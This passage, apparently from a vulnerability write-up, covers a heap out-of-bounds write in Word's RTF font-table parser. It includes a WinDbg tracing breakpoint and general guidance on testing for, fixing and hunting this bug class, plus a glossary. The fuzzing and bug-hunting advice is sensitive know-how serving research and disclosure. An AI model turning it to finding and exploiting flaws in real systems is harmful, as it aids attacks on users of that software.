bp wwlib+0x37f0c3 ".printf \"*** writing 0x%x to 0x%x [0x%x+0x%x*2+4] (div 3: 0x%x)\\n\", ecx & 0xffff, (esi+(edx*2)+4), esi, edx, edx/3;gc"
g
The script clears existing breakpoints, hides the debugger window, waits until the wwlib library is loaded, then sets two breakpoints: one on the index calculation and one on the write. Each breakpoint prints the values involved and continues, which is how the excerpts above were captured.
In general, how this kind of bug works
Heap corruption from an out-of-bounds write happens when a program works out a memory position from input it does not control, without checking that the result stays inside the intended area. If the number is treated as signed, a large positive value can turn into a negative offset, and the write lands before the buffer, in the memory manager's own records or in a neighbouring allocation. A single small write can be enough to damage those records, and the damage often shows up later, when the memory is freed or reused.
Defences include checking every index derived from input against the size of the buffer, using unsigned arithmetic where negative values make no sense, hardening the memory allocator, and using Page Heap during testing so that silent corruption becomes an immediate fault.
In general, how to test for it
- Look for parsers that read counts, ids or lengths from a file and use them to index arrays: font tables, style tables, colour tables, embedded object lists.
- Craft inputs that push those values to the edges of their type: just below and above the signed 16-bit or 32-bit boundary, and very large counts.
- Open the file under a debugger with Page Heap enabled for the target process, so an out-of-bounds access faults at the instruction that performs it.
- Watch for access violations at write instructions whose address is computed from the input value, and for heap corruption reports at free time.
- Confirm the fault is caused by your input and not by the environment: rerun with a benign file, and with the count reduced.
Common false positives are crashes caused by unrelated malformed fields, faults that only appear with the debugger attached, and heap errors left over from a previous run. A positive result is a reproducible fault whose address depends directly on the value you supplied.
In general, how it is fixed
A fix would need to validate the font id and any derived index against the size of the allocated table before the write, rejecting or clamping out-of-range values. Allocator hardening and compiler mitigations reduce exploitability but do not remove the bug.
In general, where to hunt for it
This class of bug tends to hide in legacy file-format parsers, import filters and conversion code, especially where old code paths are still reachable from modern documents. Signals worth noting include file types that reach the same parser through several extensions, as the report notes for RTF and DOC, and code paths that are only exercised when a document is opened. To get a report accepted, show a minimal file that triggers the fault, the faulting instruction and the input value that controls the address, and explain the path from opening the document to the corruption. If the vendor runs the parser in a sandbox, say so and describe the impact within it.
Glossary
- RTF (Rich-Text Format): a plain-text document format made of keywords that describe formatting, fonts and other rich content.
- Font table (
\fonttbl): the part of an RTF document that lists the fonts it uses. - Font id (
\f###): the number that identifies a font inside the font table. - Heap: the pool of memory a program borrows at runtime for its data.
- Heap corruption: damage to the memory manager's records or to neighbouring data, caused by writing outside the intended area.
- Out-of-bounds write: a write to memory outside the buffer the program meant to use.
wwlib: the Microsoft Word library that handles RTF parsing and other document work.- Register: a small, fast storage location inside the processor.
movsx: a machine instruction that copies a value and fills the upper bits with the sign, so negative numbers stay negative.- Sign extension: filling the upper bits of a value with its sign bit, which turns a large positive number into a negative one when read as signed.
- Code page: a number that identifies which character set a font uses.
- Offset: a distance added to a base memory address to reach a particular location.
- Arbitrary code execution: running an attacker's own code inside a program, with that program's rights.
- Protected View: a restricted mode in Office for opening documents from untrusted sources.
- Sandbox: an isolated environment that limits what a program can do.
- Safe Mode: a restricted startup mode Word uses after a crash.
- Page Heap: a debugging feature that places guard pages around memory so out-of-bounds accesses fault immediately.
- WinDbg: Microsoft's debugger for Windows programs.
- Breakpoint: a marker that pauses a program at a chosen instruction so its state can be inspected.
- Proof of concept (PoC): a small script or file that demonstrates the bug.
- False positive: a crash or error that looks like the bug but has another cause.